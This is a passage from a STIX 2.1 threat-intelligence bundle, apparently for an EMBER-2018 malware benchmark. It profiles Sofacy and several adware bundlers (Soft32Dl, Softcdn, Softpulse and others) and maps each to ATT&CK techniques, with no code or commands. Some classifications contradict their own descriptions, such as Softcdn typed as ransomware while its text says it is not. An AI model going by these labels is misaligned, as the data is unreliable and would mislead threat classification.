      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sofacy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sofacy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1568b83f-8dd2-5edf-bc35-aa8ff0671c8d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29dc0dc2-7c90-58cc-b8af-039892f5a694",
      "target_ref": "attack-pattern--6991b3b3-2955-56ba-a0a0-3dadb5d30fae",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sofacy exhibits technique T1059.001 (Command and Scripting Interpreter: PowerShell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd28d78a-af0d-58d7-9f99-5945c33d6f7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29dc0dc2-7c90-58cc-b8af-039892f5a694",
      "target_ref": "attack-pattern--64b1ee32-1cf5-53c5-8a32-e95bd2440cc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sofacy exhibits technique T1546.003 (Event Triggered Execution: Windows Management Instrumentation Event Subscription)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--448f44d5-88ba-550d-81ae-394cfd7ea773",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29dc0dc2-7c90-58cc-b8af-039892f5a694",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sofacy exhibits technique T1003 (OS Credential Dumping)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--217c4b8c-21f0-551c-8960-50beca386904",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29dc0dc2-7c90-58cc-b8af-039892f5a694",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sofacy exhibits technique T1048 (Exfiltration Over Alternative Protocol (Using email protocols for C2))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Soft32Dl",
      "description": "Soft32 Downloader (classified across threat intelligence feeds as PUA:Win32/Soft32Downloader, Adware:Win32/Soft32, and PUP.Optional.Soft32) is a deceptive software installer wrapper and download manager developed for the Soft32 freeware distribution portal and analyzed by Microsoft Defender and Malwarebytes. Rather than providing direct binary downloads for requested open-source software, codecs, and utility drivers, the portal provides custom wrapper executables. Upon execution, Soft32 Downloader presents multi-step setup wizards configured with pre-selected opt-in checkboxes and obscured decline buttons to coerce users into agreeing to install secondary adware, rogue registry optimizers, search redirectors, and persistent browser extensions. Soft32 Downloader establishes persistence via Windows Scheduled Tasks and Run registry entries under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run. (Observed samples in benchmark: 715)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Soft32Downloader",
        "Adware:Win32/Soft32",
        "PUP.Optional.Soft32",
        "Soft32.Downloader",
        "Win32/Soft32DL"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Soft32Dl",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/soft32dl"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fccef24-946e-59fb-be3d-7c9994275139",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soft32Dl exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed48995c-398d-5ca2-836d-3ec70d22ae2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soft32Dl exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--947d8581-caec-5833-9c02-969c34fef380",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soft32Dl exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--26f96fc7-a93f-5874-8c32-72cafc0f83e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soft32Dl exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1e4a19a4-3c07-5a7f-b6cb-7a81387c2068",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soft32Dl exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8bf224a1-9019-5ce8-9af7-d6bc665bdfa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soft32Dl exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60beb319-1b4f-5ec9-b360-c67f0ccefc0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ba1a0a6e-bfb3-5655-a544-4bca2e2597a1",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Soft32Dl exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a472af74-fa7e-58f8-ae9b-a45e95eef076",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Softcdn",
      "description": "<h3>Executive Summary</h3>\nSoftCDN (often detected as PUP.SoftCDN or Adware.SoftCDN) represents a class of deceptive software bundlers and \"download managers.\" While it may present itself as a utility to facilitate the rapid downloading of legitimate software, its true purpose is aggressive monetization. It acts as a primary delivery vehicle for Potentially Unwanted Programs (PUPs), flooding the host system with adware, browser hijackers, and fake system optimizers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nSoftCDN is typically encountered when users attempt to download freeware, pirated media, or software cracks from third-party, untrustworthy file-hosting sites. Instead of receiving the direct file, the user downloads the SoftCDN \"wrapper\" executable.\n\nUpon execution, the bundler exhibits several deceptive behaviors:\n<ul>\n<li><strong>Deceptive UI (Dark Patterns):</strong> The installer's user interface is intentionally confusing. It uses pre-checked boxes, misleading \"Next\" buttons, and dense End User License Agreements (EULAs) to trick the user into implicitly \"consenting\" to the installation of multiple third-party applications alongside the intended software.</li>\n<li><strong>Mass Payload Delivery:</strong> The core function of SoftCDN is to contact affiliate marketing servers, download a payload of adware and PUPs, and install them silently in the background.</li>\n<li><strong>System Degradation:</strong> The resulting infections typically involve browser hijacking (changing default search engines to affiliate networks), intrusive ad injection (pop-ups), and the installation of persistent background services that consume significant system resources.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile SoftCDN is not a file-encrypting ransomware, it is highly detrimental to enterprise stability and security. It acts as a gateway for multiple unwanted applications that drastically degrade endpoint performance, cause severe browser latency, and introduce significant privacy violations through aggressive user tracking.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Comprehensive Anti-Malware Scan:</strong> A standard AV scan is often insufficient, as SoftCDN drops multiple distinct PUPs. Utilize an enterprise-grade anti-malware solution specifically designed for PUP/Adware removal to target the persistent registry keys, scheduled tasks, and rogue browser extensions.</li>\n<li><strong>Browser Factory Reset:</strong> To completely eradicate the hijacking components and tracking cookies dropped by the SoftCDN payloads, all installed web browsers on the infected endpoint must undergo a full factory reset.</li>\n<li><strong>Application Control Enforcement:</strong> Implement strict Application Whitelisting (e.g., Windows AppLocker) and user education policies to prevent employees from downloading software from untrusted third-party aggregators and running untrusted installers.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUP.SoftCDN",
        "Adware.Bundler",
        "Riskware.Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Softcdn",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/softcdn"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a8e71aa-2772-5b80-ade8-b2d48300aafd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a472af74-fa7e-58f8-ae9b-a45e95eef076",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcdn exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc8794da-4da1-572b-9d38-292bdb353bb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a472af74-fa7e-58f8-ae9b-a45e95eef076",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcdn exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9c7f89d-8a45-58a0-b2a0-3e9468826c87",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a472af74-fa7e-58f8-ae9b-a45e95eef076",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcdn exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4e538d84-3f5c-596c-b360-103df7338046",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Softcnapp",
      "description": "Softcnapp (tracked across endpoint security engines as PUA:Win32/Softcnapp, Adware:Win32/Softcnapp, and PUP.Optional.Softcnapp) is a rogue application manager, software updater, and adware distributor predominantly encountered across Windows desktop systems. Distributed through deceptive software download portals, cracked utility packages, and sponsored downloaders, Softcnapp masquerades as an essential driver or software management utility. Once installed, Softcnapp registers a persistent Windows system service that runs automatically with high privileges. It periodically connects to remote distribution servers, displays intrusive system alerts regarding allegedly outdated applications, injects banner advertisements into browser windows, and downloads unauthorized secondary software packages onto the host machine. (Observed samples in benchmark: 520)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Softcnapp",
        "Adware:Win32/Softcnapp",
        "PUP.Optional.Softcnapp",
        "Win32/Softcnapp.Adware",
        "Application.Softcnapp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Softcnapp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/softcnapp"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a9d20cb-c9e2-5ec6-b446-eb498c12884d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e538d84-3f5c-596c-b360-103df7338046",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcnapp exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51adc0f4-304a-5cea-89c1-23f81d6c9b05",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e538d84-3f5c-596c-b360-103df7338046",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcnapp exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e73648c9-bec6-5cf4-b8d0-ebe8387aed7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e538d84-3f5c-596c-b360-103df7338046",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcnapp exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--575817de-b8bf-5d87-a09c-7a88389a6ff1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e538d84-3f5c-596c-b360-103df7338046",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcnapp exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce6df4be-5fca-5a08-8a28-a8a8ff04ea1b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4e538d84-3f5c-596c-b360-103df7338046",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softcnapp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--066975bd-dc03-5a5e-ba7c-eda3770c4d0a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Softobase",
      "description": "Adware:Win32/Softobase is an aggressive Potentially Unwanted Program (PUA) and adware family often bundled with free software. Its primary function is to silently install rogue browser extensions and intercept web traffic to inject intrusive advertisements and monitor user browsing habits, thereby generating illicit affiliate revenue and harvesting marketing data for the developers.<br><br><b>Understanding Softobase Adware</b><br>To an end-user, a Softobase infection is highly frustrating. Their familiar Google or Bing search engine is suddenly replaced by an unknown portal, their browser becomes sluggish, and they are bombarded with irrelevant, often deceptive banner ads perfectly targeted to their recent searches. For security analysts, it represents a classic Pay-Per-Install (PPI) monetization scheme combined with aggressive telemetry collection, utilizing persistence mechanisms to prevent easy removal.<br><br><b>Execution and Hijacking Mechanics</b><br>Softobase is heavily distributed via deceptive software bundlers (`T1189`) found on third-party freeware sites. Upon execution, the installer uses 'Dark Patterns' to bypass user consent (`T1204.002`). It establishes persistence via Registry Run keys. It installs rogue Browser Helper Objects (BHOs) and extensions (`T1176`) to intercept all web traffic (`T1185`). Crucially, its 'spy' component aggressively logs search queries, visited URLs, and sometimes even form data, sending this telemetry back to the adware operators to serve highly targeted injected advertisements.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is a severely degraded user experience, compromised browsing privacy, and wasted helpdesk resources. Incident responders will observe anomalous HTTP/HTTPS traffic routing through known adware tracking networks, often containing base64-encoded strings of the user's browsing history in the URL parameters. EDR logs will flag the installation of the Softobase extensions and the unauthorized modification of browser registry keys. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Softobase",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/softobase"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d02edb1-7856-510e-9379-312400293443",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--066975bd-dc03-5a5e-ba7c-eda3770c4d0a",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softobase exhibits technique T1189 (Drive-by Compromise (Bundled Installers))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--14d18639-6a54-5b82-904a-d6173779f0fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--066975bd-dc03-5a5e-ba7c-eda3770c4d0a",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softobase exhibits technique T1176 (Browser Extensions (BHO installation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7095d20b-3fab-5196-920e-09043a3d3f95",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--066975bd-dc03-5a5e-ba7c-eda3770c4d0a",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softobase exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d492ba4-4467-56e6-9557-6c57c969e290",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--066975bd-dc03-5a5e-ba7c-eda3770c4d0a",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softobase exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ee1099b8-2f67-5b79-a4ec-c347eb155410",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Softomate",
      "description": "Adware:Win32/Softomate (often part of a family of aggressive browser toolbars) is an intrusive adware component and browser hijacker designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries through its own affiliated engines, injects unwanted advertisements, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Softomate</b><br>To an end-user, Softomate manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars at the top of the browser window. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising.<br><br><b>Execution and Hijacking Mechanics</b><br>Softomate is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files (e.g., Chrome's `Preferences` file or Firefox's `prefs.js`) to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) in Internet Explorer (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Softomate",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/softomate"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fb66c7e-7f22-5e82-bf40-2248b69c3a20",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee1099b8-2f67-5b79-a4ec-c347eb155410",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softomate exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cdc27d15-fd09-5ba5-81a0-4f989ce236a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee1099b8-2f67-5b79-a4ec-c347eb155410",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softomate exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0ec81f56-070b-5649-af37-c66fe805fbf9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee1099b8-2f67-5b79-a4ec-c347eb155410",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softomate exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c78a349c-d643-56e4-86e5-6db3e089cccb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ee1099b8-2f67-5b79-a4ec-c347eb155410",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Softomate exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--48e3c228-814b-5734-b2bd-63127c12b3c7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Softonic",
      "description": "Softonic (cataloged across security software under signatures including SoftwareBundler:Win32/Softonic, PUA:Win32/Softonic, and PUP.Optional.Softonic) was the proprietary download manager and monetization wrapper deployed by the global freeware portal Softonic during the peak of the pay-per-install (PPI) software era. Instead of providing direct vendor installation executables, Softonic served users custom-branded download wrappers that bundled the requested freeware with aggressive third-party adware, sponsored browser toolbars (such as Babylon Toolbar or Conduit), default search hijackers, and system performance cleaners. The wrapper used pre-checked checkboxes, confusing Express vs. Advanced setup dialogs, and simulated download progress bars to manipulate users into consenting to unwanted software installations. (Observed samples in benchmark: 35)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "SoftwareBundler:Win32/Softonic",
        "PUA:Win32/Softonic",
        "PUP.Optional.Softonic",
        "Adware:Win32/SoftonicDownloader",
        "Win32/Softonic"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Softonic",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/softonic"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--27aa5ab7-dd7a-5074-8fb0-13ed7b253af8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Softpulse",
      "description": "Softpulse (cataloged by security vendors as Adware:Win32/Softpulse, PUA:Win32/SoftPuls, PUA.Win32.SoftPulse.AD, and ADW_PULSOFT.SM) is an intrusive adware and software bundler framework active since 2015. Deployed through Pay-Per-Install (PPI) affiliate monetization networks, Softpulse wraps legitimate software downloads in a multi-offer installer that installs unrequested software packages without explicit user consent. Upon execution, Softpulse installs persistent background services, drops helper executables into %APPDATA% and %TEMP% directories, and registers autostart values in the Windows Registry (HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run). The adware forcefully modifies default web browser configurations across Google Chrome, Mozilla Firefox, and Microsoft Edge, altering default search engines and homepages to affiliate redirect portals. Softpulse injects sponsored pop-up advertisements and banner ads into web browsing sessions while collecting and exfiltrating browsing telemetry to commercial ad-tracking servers. (Observed samples in benchmark: 121)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Softpulse",
        "PUA:Win32/SoftPuls",
        "PUA.Win32.SoftPulse.AD",
        "ADW_PULSOFT.SM",
        "Win32/Softpulse"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Softpulse",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/softpulse"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--09fe91e2-9087-53c7-ae4f-a861222dc220",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--27aa5ab7-dd7a-5074-8fb0-13ed7b253af8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
